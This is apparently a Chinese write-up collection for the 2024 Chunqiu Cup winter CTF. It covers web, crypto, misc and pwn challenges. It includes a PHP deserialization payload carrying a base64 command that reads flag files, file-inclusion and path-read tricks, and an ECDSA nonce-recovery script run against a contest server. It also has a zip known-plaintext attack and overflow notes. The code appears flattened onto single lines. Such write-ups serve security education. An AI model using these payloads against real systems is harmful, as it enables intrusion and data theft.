data=O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2: {s:7:"hackman";s:20:"PD89YGNhdCAvZipgOw==";s:8:"filename";s:5:"a.php";}}}<?php // 定义学生类 STU class STU { // 用于存储相关对象的属性 public $studentObject; } // 定义另一个类 SDU class SDU { // 用于存储 STU 类对象的属性 public $associateStudent; } // 定义 CTF 类class CTF { // 存储特定字符串的属性,初始值为'***' public $hackman = '***'; // 存储文件名的属性 public $fileName = 'a.php'; } // 创建 SDU 类的实例$sduInstance = new SDU(); // 创建 STU 类的实例$stuInstance = new STU(); // 创建 CTF 类的实例$ctfInstance = new CTF(); // 将 STU 类实例赋值给 SDU 类实例的 associateStudent 属性$sduInstance->associateStudent = $stuInstance; // 将 CTF 类实例赋值给 STU 类实例的 studentObject 属性$stuInstance->studentObject = $ctfInstance; // 修改 CTF 类实例的 hackman 属性值,这里是经过 base64 编码的<?=`cat /f*`; $ctfInstance->hackman = 'PD89YGNhdCAvZipgOw=='; // 输出序列化后的 SDU 类实例 echo serialize($sduInstance);
find me
下载附附件拖入我的世界的配置文件夹 saves 文件夹
进入世界后让你探索 flag(找雪屋,神寄吧一真一假,真雪屋坐标如下)
然后找到一个附魔书里面有个 key 值 cwqeafvfwqead,这就是flag.rar的密码
然后就是随波逐流一把梭环节
NetHttP
筛选过滤 http 包
读取了 app.py 的代码
from flask import Flask,request,render_template_string,Response,sessionapp = Flask(__name__)app.config['SECRET_KEY'] = 'gdkfksy05lx0nv8dl'@app.route("/")def index():return open(__file__).read()@app.route("/rce",methods=["GET"])def rce():data = request.args.get("name","Guest")return render_template_string(f"Welcome {data}")if __name__ == "__main__":app.run(host="0.0.0.0",port=8989,debug=False)
继续看后面的
读取了 private 的密钥
-----BEGIN ENCRYPTED PRIVATE KEY-----MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggAMAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmFkTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1LlaOhnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3cs73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJoTj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9DkpBYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PEyTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0HT/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbtKbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmURqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfiDVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoTpDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPGqUVmlGScmkU=-----END ENCRYPTED PRIVATE KEY-----
是盲注,写个脚本把读取内容提出来
import base64import re# 用于存储符合条件行的列表data_list = []temp = ''# 打开文件并逐行读取with open('find.txt', 'r') as f:for line in f:# 如果行以'66'开头,将之前临时存储的内容添加到列表中if line.startswith('66'): data_list.append(temp) temp = line# 用于存储最终解码并提取的值decoded_value = ''for item in data_list:# 搜索 echo 后的内容 match_obj = re.search(r"echo (.*?) ", item)if match_obj: value = match_obj.group(1) try:# 对搜索到的内容进行 Base64 解码 decoded = base64.b64decode(value)# 从解码后的内容中搜索单引号内的内容 match_obj2 = re.search(r" '(.*?)' ", decoded.decode())if match_obj2: value2 = match_obj2.group(1) decoded_value += value2 except Exception as e:print(f"解码或匹配过程中出现错误: {e}")print(decoded_value, end='')
得到
UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQ==RmFrZSBGTGFnCm5vIGhlcmUKUzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQ==
继续 base64 得到
S0I3iWhvszKbOM/OalKTA0fpm5O5chVVnYGyKd5nV4erAzRbV6V6w8b/UiOfQEc3Ijh00hFjYFU1HaxNub9GnlPS/lcam5mATkf2sJS6JgpJo6AShVRxWDYKKrojeUeBZj5MEPI8/4DGGGuHFxmx2bxAahdDe1cGnjTZGWONpNI=
看上面的密钥,是通过 key 加密后的密钥,用下面脚本解,key 就是App.py 里的 key
from cryptography.hazmat.primitives import serializationdef decrypt_private_key(key_path, password):# 读取并解密私钥 with open(key_path, 'rb') as f: private_key = serialization.load_pem_private_key( f.read(), password=password.encode() )# 导出未加密的私钥 decrypted_pem = private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() )# 保存解密后的私钥 with open('decrypted_key.pem', 'wb') as f: f.write(decrypted_pem)print("私钥解密完成")# 使用示例decrypt_private_key('key.txt', 'gdkfksy05lx0nv8dl')
得到新的密钥
-----BEGIN PRIVATE KEY-----MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGAaxYIU7D5lIndIBLubRRywJZiAQ90QiRjuHAIsyyka69Wl1n9K4W9/hjNDeI5BP14oADSmOqLKmj8nw2wbk0mDZ0KbWfT3eCxttGoplMEoCqKizTMdHGe7MUaK9A2CKIHOsHQhkpAmwLcDzNrbLg9nx0hjPUDefqwCn1q7B/IQPMCAwEAAQKBgEQaQ/ttrpwfvUhbodQvT/dY7ET+XhJ+cAjo/y9r8bkmTmx853xZVwYVIbt1pouc46zmOQjVCOJU2GwS2aScXdkx8Fm1YQJqzbxcZ4oEA/f66E99560um3RRsa7DWKwNdIcU4wukyfgx5fILoiuE8ThjG23Vb3oDOzaIhyCrcO65AkEApZJjxmMk0AB8ZUkhIqw+2gD4N5SPisae+aFfLgLt14H4VwSZxl2kRs7yhZGl5spFlxdotym3YS/30aY3/+3GPQJBAKWSY8ZjJNAAfGVJISKsPtoA+DeUj4rGnvmhXy4C7deB+FcEmcZdpEbO8oWRpebKRZcXaLcpt2Ev99GmN//txu8CQQCf2DInBvQ1MyLlDbLFrJCJGsKHtg7WJWa5DQe8fetsUPeV2sUycpj0GzqbpL8Ljl+cvGbF3apCU3LmnZgWplDpAkB+i1EYqmPTWdu5adgacP0kj4Mmr7O5xC5y6kQdnX18rchJcam5843/1GGFdpkOuF/Rp8GP5CFU9V157Yl1YJ0fAkAvcGpACEWDgZPSO8jGVr6XoVtA0tW2JMX/nPoxI1soLG38Kwaqc/+bepMmRQ50dlvZUA4uufmTN3OWrL+BavU0-----END PRIVATE KEY-----
然后再 rsa 解密得到 flag
Weevil's Whisper
这题我直接放大图了
2024春秋杯冬季赛day3
backdoor
Exp如下
import numpy as npimport base64import requestsfrom PIL import Imageimport iodef generate_trigger_pattern(class_number, rgb_value, location, trigger_size):# 创建全零的掩码和图案数组,尺寸为 32x32 像素,每个像素有 3 个颜色通道(RGB) trigger_mask = np.zeros((32, 32, 3)) trigger_pattern = np.zeros((32, 32, 3))# 计算触发器区域的结束行和列索引 row, col = location end_row, end_col = row + trigger_size, col + trigger_size# 在掩码数组中设置触发器区域为 1 trigger_mask[row:end_row, col:end_col] = 1# 在图案数组的触发器区域设置指定的 RGB 值 trigger_pattern[row:end_row, col:end_col] = rgb_valuereturn trigger_mask, trigger_patterndef image_to_base64(image_array):# 将图像数组的值乘以 255,并转换为无符号 8 位整数类型(0-255) img_data = (image_array * 255).astype(np.uint8)# 使用 PIL 库将数组转换为图像对象 img_obj = Image.fromarray(img_data) buffer = io.BytesIO()# 将图像对象保存到内存缓冲区,格式为 PNG img_obj.save(buffer, format='PNG')# 将缓冲区中的数据进行 Base64 编码,并转换为字符串return base64.b64encode(buffer.getvalue()).decode()def scan_backdoor(): api_endpoint = "http://eci2ze1ug62jhbziy6morae.cloudeci1.ichunqiu.com:5000/upload"# 定义要测试的 RGB 值列表,每个值代表一种颜色 rgb_values = [[1, 0, 0], [0, 1, 0], [0, 0, 1], [1, 1, 0], [1, 0, 1], [0, 1, 1]]# 定义要测试的触发器位置列表,每个位置表示触发器在图像中的起始坐标 trigger_locs = [(0, 0), (0, 28), (28, 0), (28, 28)]# 定义要测试的触发器大小列表 trigger_sizes = [4, 8, 16]for label in range(5, 16):for rgb in rgb_values:for loc in trigger_locs:for size in trigger_sizes:print(f"[*] 正在扫描: 类别={label}, RGB={rgb}, 位置={loc}, 大小={size}") mask, pattern = generate_trigger_pattern(label, rgb, loc, size) payload = {"mask": image_to_base64(mask),"pattern": image_to_base64(pattern) } try: resp = requests.post(api_endpoint, json=payload)if resp.status_code == 200:print(f"[+] 发现后门! 类别: {label}")print(f"[+] 服务器响应: {resp.text}")returnelse:print(f"[-] 类别 {label} 测试失败,状态码: {resp.status_code}") except Exception as e:print(f"[-] 网络错误: {str(e)}")if __name__ == "__main__": scan_backdoor()
easyasm
Exp如下
def b_sort(wl):# 复制输入的单词列表 arr = wl[:] n = len(arr) swapped = True# 使用冒泡排序算法进行排序while swapped: swapped = Falsefor i in range(n - 1):# 如果当前元素大于下一个元素,进行交换if arr[i] > arr[i+1]: arr[i], arr[i+1] = arr[i+1], arr[i] swapped = Truereturn arrdef main():# 输入的十六进制单词列表 rwh = [ 0x2030, 0x3040, 0x4050, 0x1022, 0x2011, 0x1666, 0x1522, 0x8899, 0x4155, 0x4044, 0x4288, 0x3321, 0x6033, 0xFFFF, 0x2221, 0x3366, 0x222C, 0x2CCC, 0x22CC, 0xCC22, 0xC2C2 ]# 对输入的十六进制单词进行排序 sw = b_sort(rwh) sk = [] # 存储处理后的排序键# 遍历排序后的十六进制单词,提取低字节和高字节for w in sw: low = w & 0xFF # 低字节 high = (w >> 8) & 0xFF # 高字节 sk.append(low) # 添加低字节到排序键 sk.append(high) # 添加高字节到排序键# 目标字节数组 tgt = [ 0x44, 0x7C, 0x43, 0x72, 0x1D, 0x72, 0x74, 0x41, 0x05, 0x14, 0x19, 0x1A, 0x19, 0x0F, 0xF5, 0x10, 0xAE, 0x18, 0x6D, 0x01, 0x10, 0x56, 0x00, 0x1E, 0x26, 0x71, 0x65, 0x73, 0x78, 0x72, 0xEB, 0x72, 0x52, 0x06, 0xAA, 0xBB, 0xA3, 0xA4, 0x1B, 0xFC, 0xC7, 0x82 ]# 存储解密后的字节 fb = []# 对目标字节和排序键进行异或操作for i in range(len(tgt)): fb.append(tgt[i] ^ sk[i]) # 异或操作以获得每个字节# 将字节转换为字符串 f_str = "".join(chr(b) for b in fb)print(f_str) # 输出结果if __name__ == "__main__": main()
easy_code
访问/robots.txt 可以看到有 gogogo.php
ctfer 参数有三个检测,只需要用科学计数法,PHP 会自动四舍五入
ctfer=6.66999999999999999999999999999999999999999e2
Hackbar 里设置 cookie 为 pass=admin
Include 那里使用 php://filter 配合 convert.iconv 修改字符集使用
ile=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php
easy_php
下载源码,审计一下,发现 file.php 有个 flie 参数
直接传入 file.php?file=/flag 就可以了
funny_rsa
这种题,直接酷酷 chatgpt
Exp如下
import gmpy2from Crypto.Util.number import *funny1 = -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374funny2 = 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011funny3 = 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024funny4 = 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479n = (funny3+1025)//gmpy2.gcd(funny3+1025,funny2)p_add_q = funny1+np = 146244963903123897384722629319865983862385290427491632619680838698915634884136798118860944346342346684665267628932533730684360351083477628483048417394493368921029652616722076101582581881994784549216229374327065827698990452634615021972143959360660773895031574424678151072027651307994605157369826310532546455301q = n//pphi = (p-1)*(q-1)d = gmpy2.invert(65537,phi)hint = pow(funny4,d,n)print(long_to_bytes(funny2//hint))print(long_to_bytes(5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861))
true:flag{aB3-CdE7_FgH9-iJkLmNoPqRsT-UvWxYz1234567890}
Binwalk 发现图片里有压缩包
写个脚本解压压缩包,并记录所有压缩包的名字
列出所有的文件名
['zMjiQdMYLHK', '6c69b2nqwz2', 'iYMtivbWMUH', 'xi9d6pw4mLY', 'YHtMsKZ9wuX', 'Kbwk4at4AHj', 'dRPuEdHCG4d', '3gR1bg5U8YN', 'JNoFPxJCSQV', 'q5yn3gHbKg6', 'Avpr7Kpj8sD', 'am3p4WHR3fi', 'fpgyMHpeAgV', 'acz8HEJyvgf', 'dCVcJepagGR', 'B7EsL11wcuv', 'yXwZGh3ot37', 'xqstfWn6LHt', 'XEbjV2pKJeH', 'trjrMMjCFDZ', 'RPg6RNirwd1', '1zXsXaQaq9e', 'uJcvgotRUjp', 'YRYWbKB6A25', 'qtQiwA4Gf8Q', 'jfHDyccqkRV', 'jtoMp8SvPf9', 'cR3iiRvwKyE', 'ypi7FVfi2Fw', 'xdUw3wh8tor', 'JsdXXeVLKMd', 'zgiE7geiPvF', 'tfA9qEAsqV7', 'vqk7JncqDHo', 'EDPrsUByKTp', 'vypAjmuQxya', 'NF9GU22MxYL', 'DZDrbqGyaLQ', 'rhaqP5Kn26C', 'C44egaMVpYJ', 'SN4irp67f4K', 'Lv9LpD3WSHq', 'KgJAtGV7KtU', 'Q3MjJ8duxA8', 'CwuadryMdku', 'asrZXj3c9YD', 'Q1Nf7LbXKvz', 'AXye64M1JNN', 'Uks3yrzaPJo', 'UjXqkveanCg', 'LHqaXutHiQM', 'side1jYU2mN', 'uBpjTuZb4mT', 'zKcoamcw6qD', '7PeWL7qGBeB', 'zzEKG4G51Q4', '3EF4125LwYQ', 'eAS721ji7e9', 'M8Lmf8CU315', 'v3unatngTkG', 'LFUGkFuhAmv', 'nvaaCKPS7M3', 'J8XSjdh9ofR', 'FpX8xHdTUBo', 'QutbHXE8uYL', 'Faibrg5ohzA', 'brhPjhSdH2A', 'ei1X3ztdQPx', 'H1rm2PHhm2q', 'QazwAuJDk9L', 'Lg3csdtRiTX', 'b1qmeYoUmud', 'RWkTTgxUf6g', 'd53ckZZj9Bi', 'gJrG5jQfNQ9', 'RfRAhDFBreF', 'U1nLXdyXLnm', 'iVtD6s7Gtb4', 'qXVaLtuRCtF', 'yNW5yu2zyqa', 'SdpXLjfPQxB', '3vzvqCzeDjF', 'yaUMKQS4Nsf', 'BNmiYfRK95E', 'rWieUL24eL2', '8UzqnH65fhe', 'vYKzvN461Hq', '43Pw8vDDMcJ', 'wy4tjLhtFCk', 'Lvj8YUoZaWD', 'DTKgRvTPzrK', '8bzxbsbUMg1', 'mxYTZdt3KH2', 's5nzUHP1xBE', '9E8fknBQ5d5', 'ezC5sRwk412', 'eEEhKv2qohJ', 'Z3gW8JGczKZ', 'Vqh6ks9aXhx', 'DgNyJMANRqm', 'LYZakCKVjv5', 'fqdJRsy2NXJ', 'cXSmsbmaxoE', 'CWzoAaQrY8B', 'AVZHSVbmFb5', 'JACanfgDv3E', 'xPNmMNCdoe4', 'rN4Wg8hX2Bx', 'rNFhP27NxFS', 'HUx57o7LHre', '1NDheyJvG8j', 'iE7i5xmse7E', 'Y5oq1fyCcNk', 'B9bFiXj8rb1', 'CMtbBWUdTP3', 'QifiuAtYdNH', '1bYWx4YRfH3', 'JPFGHfGRaYX', '5jHQz5upm9f', '1qtnyM32bYL', 'CXotjV6FSFa', 'jeaEG3RG6ts', 'VNBZD8scRnE', 'HTaP8qM67cH', '9SzHC6sNeuM', 'qn1nAWUWY4X', '2BW7EUjDg1x', 'PsJvpzLrucb', 'CqdBnN9XKvC', '9oW3fdLYY96', 'nFQwYN4vUki']
倒着拼接,nFQwYN4vUki 9oW3fdLYY96 .... zMjiQdMYLHK 最后赛博厨子
然后是一个码,可以用 google 搜图扫瞄
riya
这题应该是非预期,直接 nc 链接后
N 回车
然后直接 chat /flag
SignTime
连接到服务器后,我们发现有三个选项:
sign_time: 获取一个时间签名
verify: 验证签名
I kown the secret: 输入私钥获取 flag
分析服务器代码,发现以下:
def sign_current_time(): current_time = datetime.now() current_month = int(current_time.strftime("%m")) current_seconds = int(current_time.strftime("%S")) formatted_time = f"{current_month}:{current_seconds}" message = f"The time is {formatted_time}" message_hash = sha1(message.encode()).digest() signature = private_key.sign(bytes_to_long(message_hash), randrange(100, 100 + current_seconds)) return {"time": message, "r": hex(signature.r), "s": hex(signature.s)}
服务器使用椭圆曲线数字签名算法进行签名,签名时使用的随机数 k 是基于当前时间的秒数 生成的
如果 k 可以被预测或范围有限,私钥可能被恢复
公式计算私钥:
private_key = ((s * k - message_hash) * pow(r, -1, order)) % order
获取服务器的时间签名,从签名中提取当前时间的秒数,尝试所有可能的 k 值(从 100 到 100+seconds),对每个 k 值计算私钥并验证,使用正确的私钥就可以获取 flag
from pwn import *import refrom hashlib import sha1from Crypto.Util.number import bytes_to_longfrom ecdsa.ecdsa import generator_192, Public_key, Private_key, Signatureimport timedef parse_signature(response):print("[*] Server response:", response) # 添加调试信息# 解析服务器返回的签名信息 time_pattern = r"'time': '([^']*)" r_pattern = r"'r': '([^']*)" s_pattern = r"'s': '([^']*)" time = re.search(time_pattern, response).group(1) r = int(re.search(r_pattern, response).group(1), 16) s = int(re.search(s_pattern, response).group(1), 16)print(f"[+] Parsed values:n Time: {time}n r: {hex(r)}n s: {hex(s)}") # 添加调试信息return time, r, sdef solve_private_key(message, r, s, k):# 根据已知的 k 值(随机数)求解私钥 generator = generator_192 order = generator.order() message_hash = bytes_to_long(sha1(message.encode()).digest()) private_key = ((s * k - message_hash) * pow(r, -1, order)) % orderprint(f"[+] Calculated values:n k: {k}n private_key: {hex(private_key)}") # 添加调试信息return private_keydef verify_private_key(message, r, s, private_key):"""验证计算出的私钥是否正确""" generator = generator_192 public_key = Public_key(generator, generator * private_key) message_hash = bytes_to_long(sha1(message.encode()).digest()) signature = Signature(r, s)return public_key.verifies(message_hash, signature)def try_connect(host, port, max_retries=3):"""尝试连接服务器,带有重试机制"""for i in range(max_retries): try:print(f"[*] Attempting connection {i+1}/{max_retries}...") conn = remote(host, port, timeout=5)print("[+] Connection successful!")return conn except Exception as e:print(f"[!] Connection attempt {i+1} failed: {str(e)}")if i < max_retries - 1:print("[*] Retrying in 2 seconds...") time.sleep(2)else: raise Exception("All connection attempts failed")return Nonedef find_valid_private_key(message, r, s, seconds):"""尝试所有可能的 k 值来找到正确的私钥"""for k in range(100, 101 + seconds): private_key = solve_private_key(message, r, s, k)if verify_private_key(message, r, s, private_key):print(f"[+] Found valid private key with k={k}:")print(f" private_key: {hex(private_key)}")return private_keyreturn Nonedef main(): host = '47.93.12.9'# 更新服务器地址 port = 28733 # 更新端口号 conn = None try:# 尝试连接服务器 conn = try_connect(host, port)# 接收 banner 信息 banner = conn.recvuntil(b"Enter your option: ", timeout=5).decode()print(banner)# 获取第一个签名print("[*] Requesting signature...") conn.sendline(b"sign_time") time.sleep(0.5) response = conn.recvline(timeout=5).decode()# 解析签名 time_msg, r, s = parse_signature(response) seconds = int(time_msg.split(":")[-1])# 尝试所有可能的 k 值找到正确的私钥print("[*] Trying all possible k values...") private_key = find_valid_private_key(time_msg, r, s, seconds)if not private_key:print("[!] Failed to find valid private key")return# 提交私钥获取 flagprint("[*] Submitting private key...") conn.recvuntil(b"Enter your option: ", timeout=5) conn.sendline(b"I kown the secret") time.sleep(0.5) conn.recvuntil(b"Enter the secret: ", timeout=5) secret = hex(private_key)print(f"[*] Sending secret: {secret}") conn.sendline(secret.encode()) time.sleep(0.5)# 获取 flagprint("[*] Waiting for flag...") try: result = conn.recvline(timeout=2).decode()if result and len(result.strip()) > 0:print("[+] Server response:", result.strip()) except EOFError:print("[!] Server closed connection") except Exception as e:print(f"[!] Error occurred: {str(e)}") finally:if conn: conn.close()if __name__ == "__main__": main()
运行脚本连接到服务器
尝试不同的 k 值,找到正确的私钥:
[+] Found valid private key with k=103:private_key: 0xa90e64c2b42711d2d173042d974985dcc8bd515562e773d0
toys
程序就是个溢出
有个 strlen 检查,根据截断特性,00 截断 strlen 但不会使 fgets 截断,从而绕过检查。存在gadget 函数,能将&stdout 地址给 rax
配合程序段泄露 stdout 地址,最终 getshell
音频的秘密
据主办方提示 DeepSound 隐写弱口令 123 读取后是一个加密的压缩包
根据加密算法搜索一下相关的 ctf 资料
通过搜索发现 zipcrypto 解密工具 bkcrack
在博客上面还有使用该工具的相关的题目
echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps >png_header
time ./bkcrack/bkcrack -C flag.zip -c flag.png -p png_header -o 0 > 1.log&
tail -f 1.log
./bkcrack/bkcrack -C flag.zip -c flag.png -k 29d29517 0fa535a9 abc67696 -d 1.png
pixel_master
黑 1 白 0 读取二进制,转换十六进制就是下一张 PNG 图片的十六进制,这步就不用多说了
有第一张图为例,还是比较好联想的
第一行按顺序出现黑、红、绿、蓝四种颜色,其余部分为白色
全图共出现五种颜色(黑、红、绿、蓝、白)
白色仅出现在第一行和最后一行
假设第一行是告诉我们颜色到数字的映射关系:黑对应 0、红对应 1、绿对应 2、蓝对应 3 、忽略白色,读取整张图片按四进制转换。写个脚本验证猜想。
from PIL import Imageimport numpy as np# GPT一键注释(# 打开图片并将其转换为RGB模式image = Image.open("download.png").convert("RGB")pixels = np.array(image) # 将图片转换为NumPy数组以便处理# 定义颜色到数字的映射(忽略白色)color_map = {(0, 0, 0): 0, # 黑色 -> 0(255, 0, 0): 1, # 红色 -> 1(0, 255, 0): 2, # 绿色 -> 2(0, 0, 255): 3, # 蓝色 -> 3}# 将图片转换为数字矩阵result = []for i in range(pixels.shape[0]): # 遍历每一行row = []for j in range(pixels.shape[1]): # 遍历每一列r, g, b = pixels[i, j] # 获取当前像素的RGB值if (r, g, b) in color_map: # 如果颜色在映射表中row.append(str(color_map[(r, g, b)])) # 将对应的数字添加到当前行result.append("".join(row)) # 将当前行的数字拼接成一个字符串并添加到结果中# 将整个图片的数字拼接成一个数字,并忽略前4个字符(第一行示例的0123)big_number = "".join(result)[4:]# 将大数字从4进制转换为16进制hex_number = hex(int(big_number, 4))# 将16进制数据写入文件with open("output.png", "wb") as f:f.write(bytes.fromhex(hex_number[2:])) # 去掉16进制前缀"0x"并写入文件
然后我们就得到了这个缺了一个角的汉信码
剩下就是 PS 了
原文始发于微信公众号(隼目安全):【相关分享】2024春秋杯冬季赛三日Writeup汇总(部分)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论